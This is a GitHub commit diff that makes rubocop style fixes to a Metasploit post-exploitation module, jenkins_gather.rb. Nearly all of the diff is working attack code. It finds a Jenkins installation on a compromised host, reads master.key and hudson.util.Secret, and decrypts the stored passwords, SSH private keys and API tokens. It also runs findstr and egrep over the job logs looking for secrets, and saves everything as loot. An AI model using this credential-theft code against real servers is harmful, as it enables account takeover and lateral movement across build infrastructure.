Skip to content

Commit 5d4105d

Browse files
committed
minor fixes per rubocop
1 parent 47f55b1 commit 5d4105d

File tree

1 file changed

+59
-54
lines changed

1 file changed

+59
-54
lines changed

modules/post/multi/gather/jenkins_gather.rb

Lines changed: 59 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def initialize(info = {})
2020
'License' => MSF_LICENSE,
2121
'Author' => [ 'thesubtlety' ],
2222
'Platform' => [ 'linux', 'win' ],
23-
'SessionTypes' => [ %w(shell meterpreter) ]
23+
'SessionTypes' => [ %w[ shell meterpreter ] ]
2424
))
2525
register_options(
2626
[ OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),
@@ -34,7 +34,7 @@ def initialize(info = {})
3434
end
3535

3636
def report_creds(user, pass)
37-
return if (user.empty? or pass.empty?)
37+
return if user.empty? || pass.empty?
3838
credential_data = {
3939
origin_type: :session,
4040
post_reference_name: self.fullname,
@@ -62,7 +62,9 @@ def parse_credentialsxml(file)
6262

6363
xml_doc = Nokogiri::XML(f)
6464
xml_doc.xpath("//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl").each do |node|
65-
username, password, description = "", "", ""
65+
username = ""
66+
password = ""
67+
description = ""
6668
username = node.xpath("username").text
6769
password = decrypt(node.xpath("password").text)
6870
description = node.xpath("description").text
@@ -72,21 +74,25 @@ def parse_credentialsxml(file)
7274
end
7375

7476
xml_doc.xpath("//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey").each do |node|
75-
cred_id, username, description, passphrase, private_key = "","","","",""
77+
cred_id = ""
78+
username = ""
79+
description = ""
80+
passphrase = ""
81+
private_key = ""
7682
cred_id = node.xpath("id").text
7783
username = node.xpath("username").text
7884
description = node.xpath("description").text
79-
passphrase = node.xpath("passphrase").text.gsub("lneLKHOnEJRWJE7IKwLpAg==","") #jenkins v1 empty passphrase
85+
passphrase = node.xpath("passphrase").text.gsub("lneLKHOnEJRWJE7IKwLpAg==", "") # jenkins v1 empty passphrase
8086
passphrase = decrypt(passphrase) unless passphrase == "lneLKHOnEJRWJE7IKwLpAg=="
8187
private_key = node.xpath("//privateKeySource//privateKey").text
82-
private_key = decrypt(private_key) unless private_key.match(/----BEGIN/)
83-
print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || "<empty>" } Username: #{username} Description: #{description}")
88+
private_key = decrypt(private_key) unless private_key.match?(/----BEGIN/)
89+
print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>' } Username: #{username} Description: #{description}")
8490

8591
store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
8692
@ssh_keys << [cred_id, description, passphrase, username, private_key]
8793

8894
begin
89-
k = OpenSSL::PKey::RSA.new(private_key,passphrase)
95+
k = OpenSSL::PKey::RSA.new(private_key, passphrase)
9096
key = SSHKey.new(k, :passphrase => passphrase, :comment => cred_id)
9197
credential_data = {
9298
origin_type: :session,
@@ -99,17 +105,18 @@ def parse_credentialsxml(file)
99105
}
100106
create_credential(credential_data)
101107
rescue OpenSSL::OpenSSLError => e
102-
print_error("Could not save SSH key to creds: #{e.message}")
108+
print_error("Could not save SSH key to creds: #{e.message}")
103109
end
104110
end
105111
end
106112

107113
def parse_users(file)
108114
f = read_file(file)
109-
fname = file.gsub("\\","/").split('/')[-2]
115+
fname = file.tr("\\", "/").split('/')[-2]
110116
vprint_status("Parsing user #{fname}...")
111117

112-
username, api_token = "",""
118+
username = ""
119+
api_token = ""
113120
xml_doc = Nokogiri::XML(f)
114121
xml_doc.xpath("//user").each do |node|
115122
username = node.xpath("fullName").text
@@ -128,13 +135,17 @@ def parse_users(file)
128135

129136
def parse_nodes(file)
130137
f = read_file(file)
131-
fname = file.gsub("\\","/").split('/')[-2]
138+
fname = file.tr("\\", "/").split('/')[-2]
132139
vprint_status("Parsing node #{fname}...")
133140

134-
node_name, description, host, port, cred_id = "","","",""
141+
node_name = ""
142+
description = ""
143+
host = ""
144+
port = ""
145+
cred_id = ""
135146
xml_doc = Nokogiri::XML(f)
136147
xml_doc.xpath("//slave").each do |node|
137-
node_name= node.xpath("name").text
148+
node_name = node.xpath("name").text
138149
description = node.xpath("description").text
139150
end
140151

@@ -151,10 +162,11 @@ def parse_nodes(file)
151162

152163
def parse_jobs(file)
153164
f = read_file(file)
154-
fname = file.gsub("\\","/").split('/')[-4]
165+
fname = file.tr("\\", "/").split('/')[-4]
155166
vprint_status("Parsing job #{fname}...")
156167

157-
username,pw = "",""
168+
username = ""
169+
pw = ""
158170
job_name = file.split(/\/jobs\/(.*?)\/builds\//)[1]
159171
xml_doc = Nokogiri::XML(f)
160172
xml_doc.xpath("//hudson.model.PasswordParameterValue").each do |node|
@@ -169,38 +181,36 @@ def parse_jobs(file)
169181

170182
def pretty_print_gathered
171183
creds_table = Rex::Text::Table.new(
172-
'Header' => 'Creds',
173-
'Indent' => 1,
174-
'Columns'=>
184+
'Header' => 'Creds',
185+
'Indent' => 1,
186+
'Columns' =>
175187
[
176188
'Username',
177189
'Password',
178-
'Description',
190+
'Description'
179191
]
180192
)
181193
@creds.uniq.each { |e| creds_table << e }
182-
print_good("\n" + creds_table.to_s) unless creds_table.rows.count == 0
194+
print_good("\n" + creds_table.to_s) unless creds_table.rows.count.zero?
183195
store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']
184196

185-
186197
api_table = Rex::Text::Table.new(
187-
'Header' => 'API Keys',
188-
'Indent' => 1,
189-
'Columns'=>
198+
'Header' => 'API Keys',
199+
'Indent' => 1,
200+
'Columns' =>
190201
[
191202
'Username',
192-
'API Tokens',
203+
'API Tokens'
193204
]
194205
)
195206
@api_tokens.uniq.each { |e| api_table << e }
196-
print_good("\n" + api_table.to_s) unless api_table.rows.count == 0
207+
print_good("\n" + api_table.to_s) unless api_table.rows.count.zero?
197208
store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']
198209

199-
200210
node_table = Rex::Text::Table.new(
201-
'Header' => 'Nodes',
202-
'Indent' => 1,
203-
'Columns'=>
211+
'Header' => 'Nodes',
212+
'Indent' => 1,
213+
'Columns' =>
204214
[
205215
'Node Name',
206216
'Hostname',
@@ -210,10 +220,9 @@ def pretty_print_gathered
210220
]
211221
)
212222
@nodes.uniq.each { |e| node_table << e }
213-
print_good("\n" + node_table.to_s) unless node_table.rows.count == 0
223+
print_good("\n" + node_table.to_s) unless node_table.rows.count.zero?
214224
store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']
215225

216-
217226
@ssh_keys.uniq.each do |e|
218227
print_good("SSH Key")
219228
print_status(" ID: #{e[0]}")
@@ -223,18 +232,18 @@ def pretty_print_gathered
223232
print_status("\n#{e[4]}")
224233
end
225234
ssh_output = @ssh_keys.each { |e| e.join(",") + "\n\n\n" }
226-
store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
235+
store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
227236
end
228237

229238
def grep_job_history(path, platform)
230239
print_status("Searching through job history for interesting keywords...")
231240
case platform
232241
when "windows"
233-
results = cmd_exec("cmd.exe","/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
242+
results = cmd_exec("cmd.exe", "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
234243
when 'nix'
235244
results = cmd_exec("/bin/egrep", "-ir \"password|secret|key\" --include log \"#{path}\"")
236245
end
237-
store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
246+
store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
238247
print_good("Job Log truffles:\n#{results}") unless results.empty?
239248
end
240249

@@ -245,10 +254,10 @@ def find_configs(path, platform)
245254
case session.type
246255
when 'meterpreter'
247256
configs = ""
248-
c = session.fs.file.search(path,"config.xml", recurse=true, timeout = -1).concat(session.fs.file.search(path, "build.xml", recurse=true, timeout=-1))
249-
c.each { |f| configs << f["path"] + "\\" + f["name"] + "\n" }
257+
c = session.fs.file.search(path,"config.xml", recurse = true, timeout = -1).concat(session.fs.file.search(path, "build.xml", recurse = true, timeout = -1))
258+
c.each { |f| configs << f["path"] + "\\" + f["name"] + "\n" }
250259
else
251-
configs = cmd_exec("cmd.exe","/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
260+
configs = cmd_exec("cmd.exe", "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
252261
end
253262
configs.split("\n").each do |f|
254263
case f
@@ -272,7 +281,7 @@ def find_configs(path, platform)
272281
when /\/nodes\//
273282
parse_nodes(f)
274283
end
275-
end
284+
end
276285
end
277286
end
278287

@@ -286,7 +295,7 @@ def get_key_material(home, platform)
286295
hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"
287296
end
288297

289-
if exists?(master_key_path) and exists?(hudson_secret_key_path)
298+
if exists?(master_key_path) && exists?(hudson_secret_key_path)
290299
@master_key = read_file(master_key_path).strip
291300
@hudson_secret_key = read_file(hudson_secret_key_path).strip
292301

@@ -311,12 +320,12 @@ def find_home(platform)
311320
when 'meterpreter'
312321
home = session.fs.file.search(nil, "secret.key.not-so-secret")[0]["path"]
313322
else
314-
home = cmd_exec("cmd.exe", "/c dir /b /s c:\*secret.key.not-so-secret", timeout=120).split("\\")[0..-2].join("\\").strip
323+
home = cmd_exec("cmd.exe", "/c dir /b /s c:\*secret.key.not-so-secret", timeout = 120).split("\\")[0..-2].join("\\").strip
315324
end
316325
when "nix"
317-
home = cmd_exec("find", "/ -name 'secret.key.not-so-secret' 2>/dev/null", timeout=120).split('/')[0..-2].join('/').strip
326+
home = cmd_exec("find", "/ -name 'secret.key.not-so-secret' 2>/dev/null", timeout = 120).split('/')[0..-2].join('/').strip
318327
end
319-
fail_with(Failure::NotFound, "No Jenkins installation found or readable, exiting...") if !exist?(home)
328+
fail_with(Failure::NotFound, "No Jenkins installation found or readable, exiting...") unless exist?(home)
320329
print_status("Found Jenkins installation at #{home}")
321330
home
322331
end
@@ -326,7 +335,7 @@ def gathernix
326335
get_key_material(home, "nix")
327336
parse_credentialsxml(home + '/credentials.xml')
328337
find_configs(home, "nix")
329-
grep_job_history(home + '/jobs/',"nix") if datastore['SEARCH_JOBS']
338+
grep_job_history(home + '/jobs/', "nix") if datastore['SEARCH_JOBS']
330339
pretty_print_gathered
331340
end
332341

@@ -382,12 +391,10 @@ def decrypt_v2(encrypted)
382391
cipher.iv = iv
383392

384393
text = cipher.update(code) + cipher.final
385-
if text.length == 32 #Guessing token
386-
text = Digest::MD5.new.update(text).hexdigest
387-
end
394+
text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
388395
text
389396
rescue StandardError => e
390-
print_error("#{e}")
397+
print_error(e.to_s)
391398
return "Could not decrypt string"
392399
end
393400
end
@@ -406,13 +413,11 @@ def decrypt_legacy(encrypted)
406413
cipher.key = key
407414

408415
text = cipher.update(encrypted) + cipher.final
409-
text = text[0..(text.length-magic.size-1)]
410-
if text.length == 32 #Guessing token
411-
text = Digest::MD5.new.update(text).hexdigest
412-
end
416+
text = text[0..(text.length - magic.size - 1)]
417+
text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
413418
text
414419
rescue StandardError => e
415-
print_error("#{e}")
420+
print_error(e.to_s)
416421
return "Could not decrypt string"
417422
end
418423
end

0 commit comments

Comments
 (0)